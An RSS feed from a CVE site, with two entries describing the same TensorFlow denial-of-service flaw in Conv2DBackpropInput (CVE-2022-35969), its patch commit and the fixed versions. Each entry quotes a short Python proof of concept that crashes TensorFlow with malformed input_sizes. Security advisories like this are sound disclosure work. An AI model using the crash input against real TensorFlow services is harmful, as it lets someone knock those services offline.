https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Wed, 07 Oct 2026 18:26:42 +0000 https://cve.radiocsirt.org/vuln/cve-2022-35969 <p><strong>Affected:</strong> tensorflow</p> <p>TensorFlow is an open source platform for machine learning. The implementation of `Conv2DBackpropInput` requires `input_sizes` to be 4-dimensional. Otherwise, it gives a `CHECK` failure which can be used to trigger a denial of service attack. We have patched the issue in GitHub commit 50156d547b9a1da0144d7babe665cf690305b33c. The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. There are no known workarounds for this issue.</p> <p><strong>Affected:</strong> tensorflow</p> <p>TensorFlow is an open source platform for machine learning. The implementation of `Conv2DBackpropInput` requires `input_sizes` to be 4-dimensional. Otherwise, it gives a `CHECK` failure which can be used to trigger a denial of service attack. We have patched the issue in GitHub commit 50156d547b9a1da0144d7babe665cf690305b33c. The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. There are no known workarounds for this issue.</p> https://cve.radiocsirt.org/vuln/cve-2022-35969 https://cve.radiocsirt.org/vuln/ghsa-q2c3-jpmc-gfjx <p><strong>Affected:</strong> PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu</p> <p>### Impact The implementation of `Conv2DBackpropInput` requires `input_sizes` to be 4-dimensional. Otherwise, it gives a `CHECK` failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf</p> <p>strides = [1, 1, 1, 1] padding = &#34;SAME&#34; use_cudnn_on_gpu = True explicit_paddings = [] data_format = &#34;NHWC&#34; dilations = [1, 1, 1, 1] input_sizes = tf.constant([65534,65534], shape=[2], dtype=tf.int32) filter = tf.constant(0.159749106, shape=[3,3,2,2], dtype=tf.float32) out_backprop = tf.constant(0, shape=[], dtype=tf.float32) tf.raw_ops.Conv2DBackpropInput(input_sizes=input_sizes, filter=filter, out_backprop=out_backprop, strides=strides, padding=padding, use_cudnn_on_gpu=use_cudnn_on_gpu, explicit_paddings=explicit_paddings, data_format=data_format, dilations=dilations) ```</p> <p>### Patches We have patched the issue in GitHub commit [50156d547b9a1da0144d7babe665cf690305b33c](https://github.com/tensorflow/tensorflow/commit/50156d547b9a1da0144d7babe665cf690305b33c).</p> <p>The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.</p> <p>### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.</p> <p>### Attribution This vulnerability has been reported by Neophytos…</p> <p><strong>Affected:</strong> PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu</p> <p>### Impact The implementation of `Conv2DBackpropInput` requires `input_sizes` to be 4-dimensional. Otherwise, it gives a `CHECK` failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf</p> <p>strides = [1, 1, 1, 1] padding = &#34;SAME&#34; use_cudnn_on_gpu = True explicit_paddings = [] data_format = &#34;NHWC&#34; dilations = [1, 1, 1, 1] input_sizes = tf.constant([65534,65534], shape=[2], dtype=tf.int32) filter = tf.constant(0.159749106, shape=[3,3,2,2], dtype=tf.float32) out_backprop = tf.constant(0, shape=[], dtype=tf.float32) tf.raw_ops.Conv2DBackpropInput(input_sizes=input_sizes, filter=filter, out_backprop=out_backprop, strides=strides, padding=padding, use_cudnn_on_gpu=use_cudnn_on_gpu, explicit_paddings=explicit_paddings, data_format=data_format, dilations=dilations) ```</p> <p>### Patches We have patched the issue in GitHub commit [50156d547b9a1da0144d7babe665cf690305b33c](https://github.com/tensorflow/tensorflow/commit/50156d547b9a1da0144d7babe665cf690305b33c).</p> <p>The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.</p> <p>### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.</p> <p>### Attribution This vulnerability has been reported by Neophytos…</p> https://cve.radiocsirt.org/vuln/ghsa-q2c3-jpmc-gfjx